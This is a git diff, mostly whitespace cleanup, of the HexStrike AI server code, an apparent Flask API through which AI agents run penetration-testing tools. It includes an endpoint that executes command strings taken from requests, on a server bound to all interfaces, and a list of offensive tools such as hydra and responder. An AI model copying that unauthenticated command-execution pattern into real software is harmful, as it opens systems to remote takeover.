         # Cache health
         if cache_stats["hit_rate"] < 30:
             health_score -= 10
             issues.append("Low cache hit rate")
-        
+
         health_score = max(0, health_score)
-        
+
         # Determine status
         if health_score >= 90:
             status = "excellent"
@@ -15124,7 +15134,7 @@ def process_health_check():
             status = "poor"
         else:
             status = "critical"
-        
+
         health_report = {
             "overall_status": status,
             "health_score": health_score,
@@ -15132,7 +15142,7 @@ def process_health_check():
             "system_stats": comprehensive_stats,
             "recommendations": []
         }
-        
+
         # Add recommendations based on issues
         if "High CPU usage" in issues:
             health_report["recommendations"].append("Consider reducing concurrent processes or upgrading CPU")
@@ -15142,14 +15152,14 @@ def process_health_check():
             health_report["recommendations"].append("Scale up process pool or optimize task processing")
         if "Low cache hit rate" in issues:
             health_report["recommendations"].append("Review cache TTL settings or increase cache size")
-        
+
         logger.info(f"🏥 Health check completed | Status: {status} | Score: {health_score}/100")
         return jsonify({
             "success": True,
             "health_report": health_report,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in health check: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15184,7 +15194,7 @@ def test_error_recovery():
         tool_name = data.get("tool_name", "nmap")
         error_type = data.get("error_type", "timeout")
         target = data.get("target", "example.com")
-        
+
         # Simulate an error for testing
         if error_type == "timeout":
             exception = TimeoutError("Simulated timeout error")
@@ -15194,16 +15204,16 @@ def test_error_recovery():
             exception = ConnectionError("Simulated network error")
         else:
             exception = Exception(f"Simulated {error_type} error")
-        
+
         context = {
             "target": target,
             "parameters": data.get("parameters", {}),
             "attempt_count": 1
         }
-        
+
         # Get recovery strategy
         recovery_strategy = error_handler.handle_tool_failure(tool_name, exception, context)
-        
+
         return jsonify({
             "success": True,
             "recovery_strategy": {
@@ -15217,7 +15227,7 @@ def test_error_recovery():
             "alternative_tools": error_handler.tool_alternatives.get(tool_name, []),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"Error testing recovery system: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15228,7 +15238,7 @@ def get_fallback_chains():
     try:
         operation = request.args.get("operation", "")
         failed_tools = request.args.getlist("failed_tools")
-        
+
         if operation:
             fallback_chain = degradation_manager.create_fallback_chain(operation, failed_tools)
             return jsonify({
@@ -15245,7 +15255,7 @@ def get_fallback_chains():
                 "critical_operations": list(degradation_manager.critical_operations),
                 "timestamp": datetime.now().isoformat()
             })
-            
+
     except Exception as e:
         logger.error(f"Error getting fallback chains: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15260,10 +15270,10 @@ def execute_with_recovery_endpoint():
         parameters = data.get("parameters", {})
         max_attempts = data.get("max_attempts", 3)
         use_cache = data.get("use_cache", True)
-        
+
         if not tool_name or not command:
             return jsonify({"error": "tool_name and command are required"}), 400
-        
+
         # Execute command with recovery
         result = execute_command_with_recovery(
             tool_name=tool_name,
@@ -15272,13 +15282,13 @@ def execute_with_recovery_endpoint():
             use_cache=use_cache,
             max_attempts=max_attempts
         )
-        
+
         return jsonify({
             "success": result.get("success", False),
             "result": result,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"Error executing command with recovery: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15289,13 +15299,13 @@ def classify_error_endpoint():
     try:
         data = request.get_json()
         error_message = data.get("error_message", "")
-        
+
         if not error_message:
             return jsonify({"error": "error_message is required"}), 400
-        
+
         error_type = error_handler.classify_error(error_message)
         recovery_strategies = error_handler.recovery_strategies.get(error_type, [])
-        
+
         return jsonify({
             "success": True,
             "error_type": error_type.value,
@@ -15310,7 +15320,7 @@ def classify_error_endpoint():
             ],
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"Error classifying error: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15323,18 +15333,18 @@ def get_parameter_adjustments():
         tool_name = data.get("tool_name", "")
         error_type_str = data.get("error_type", "")
         original_params = data.get("original_params", {})
-        
+
         if not tool_name or not error_type_str:
             return jsonify({"error": "tool_name and error_type are required"}), 400
-        
+
         # Convert string to ErrorType enum
         try:
             error_type = ErrorType(error_type_str)
         except ValueError:
             return jsonify({"error": f"Invalid error_type: {error_type_str}"}), 400
-        
+
         adjusted_params = error_handler.auto_adjust_parameters(tool_name, error_type, original_params)
-        
+
         return jsonify({
             "success": True,
             "tool_name": tool_name,
@@ -15343,7 +15353,7 @@ def get_parameter_adjustments():
             "adjusted_params": adjusted_params,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"Error getting parameter adjustments: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15353,12 +15363,12 @@ def get_alternative_tools():
     """Get alternative tools for a given tool"""
     try:
         tool_name = request.args.get("tool_name", "")
-        
+
         if not tool_name:
             return jsonify({"error": "tool_name parameter is required"}), 400
-        
+
         alternatives = error_handler.tool_alternatives.get(tool_name, [])
-        
+
         return jsonify({
             "success": True,
             "tool_name": tool_name,
@@ -15366,7 +15376,7 @@ def get_alternative_tools():
             "has_alternatives": len(alternatives) > 0,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"Error getting alternative tools: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15377,19 +15387,19 @@ BANNER = ModernVisualEngine.create_banner()
 if __name__ == "__main__":
     # Display the beautiful new banner
     print(BANNER)
-    
+
     parser = argparse.ArgumentParser(description="Run the HexStrike AI API Server")
     parser.add_argument("--debug", action="store_true", help="Enable debug mode")
     parser.add_argument("--port", type=int, default=API_PORT, help=f"Port for the API server (default: {API_PORT})")
     args = parser.parse_args()
-    
+
     if args.debug:
         DEBUG_MODE = True
         logger.setLevel(logging.DEBUG)
-    
+
     if args.port != API_PORT:
         API_PORT = args.port
-    
+
     # Enhanced startup messages with beautiful formatting
     startup_info = f"""
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╭─────────────────────────────────────────────────────────────────────────────╮{ModernVisualEngine.COLORS['RESET']}
@@ -15402,9 +15412,9 @@ if __name__ == "__main__":
 {ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['MATRIX_GREEN']}✨ Enhanced Visual Engine:{ModernVisualEngine.COLORS['RESET']} Active
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}
 """
-    
+
     for line in startup_info.strip().split('\n'):
         if line.strip():
             logger.info(line)
-    
-    app.run(host="0.0.0.0", port=API_PORT, debug=DEBUG_MODE)
\ No newline at end of file
+
+    app.run(host="0.0.0.0", port=API_PORT, debug=DEBUG_MODE)
diff --git a/requirements.txt b/requirements.txt
index 2a2155f..ff4cede 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,4 +1,4 @@
-# HexStrike AI MCP Agents v6.0 
+# HexStrike AI MCP Agents v6.0
 #
 # INSTALLATION COMMANDS:
 # python3 -m venv hexstrike_env
@@ -36,48 +36,49 @@ mitmproxy>=9.0.0,<11.0.0        # HTTP proxy (mitmproxy imports)
 # ============================================================================
 pwntools>=4.10.0,<5.0.0         # Binary exploitation (from pwn import *)
 angr>=9.2.0,<10.0.0             # Binary analysis (import angr)
+bcrypt==4.0.1                   # Pin bcrypt version for passlib compatibility (fixes pwntools dependency issue)
 
 # ============================================================================
 # EXTERNAL SECURITY TOOLS (150+ Tools - Install separately)
 # ============================================================================
-# 
+#
 # HexStrike v6.0 integrates with 150+ external security tools that must be
 # installed separately from their official sources:
-# 
+#
 # 🔍 Network & Reconnaissance (25+ tools):
 # - nmap, masscan, rustscan, autorecon, amass, subfinder, fierce
 # - dnsenum, theharvester, responder, netexec, enum4linux-ng
-# 
+#
 # 🌐 Web Application Security (40+ tools):
 # - gobuster, feroxbuster, ffuf, dirb, dirsearch, nuclei, nikto
 # - sqlmap, wpscan, arjun, paramspider, x8, katana, httpx
 # - dalfox, jaeles, hakrawler, gau, waybackurls, wafw00f
-# 
+#
 # 🔐 Authentication & Password (12+ tools):
 # - hydra, john, hashcat, medusa, patator, netexec
 # - evil-winrm, hash-identifier, ophcrack
-# 
+#
 # 🔬 Binary Analysis & Reverse Engineering (25+ tools):
 # - ghidra, radare2, gdb, binwalk, ropgadget, checksec, strings
 # - volatility3, foremost, steghide, exiftool, angr, pwntools
-# 
+#
 # ☁️ Cloud & Container Security (20+ tools):
 # - prowler, scout-suite, trivy, kube-hunter, kube-bench
 # - docker-bench-security, checkov, terrascan, falco
-# 
+#
 # 🏆 CTF & Forensics (20+ tools):
 # - volatility3, autopsy, sleuthkit, stegsolve, zsteg, outguess
 # - photorec, testdisk, scalpel, bulk-extractor
-# 
+#
 # 🕵️ OSINT & Intelligence (20+ tools):
 # - sherlock, social-analyzer, recon-ng, maltego, spiderfoot
 # - shodan-cli, censys-cli, have-i-been-pwned
-# 
+#
 # Installation Notes:
 # 1. Kali Linux 2024.1+ includes most tools by default
 # 2. Ubuntu/Debian users should install tools from official repositories
 # 3. Some tools require compilation from source or additional setup
 # 4. Cloud tools require API keys and authentication configuration
 # 5. Browser Agent requires Chrome/Chromium and ChromeDriver installation
-# 
-# For complete installation instructions and setup guides, see README.md
\ No newline at end of file
+#
+# For complete installation instructions and setup guides, see README.md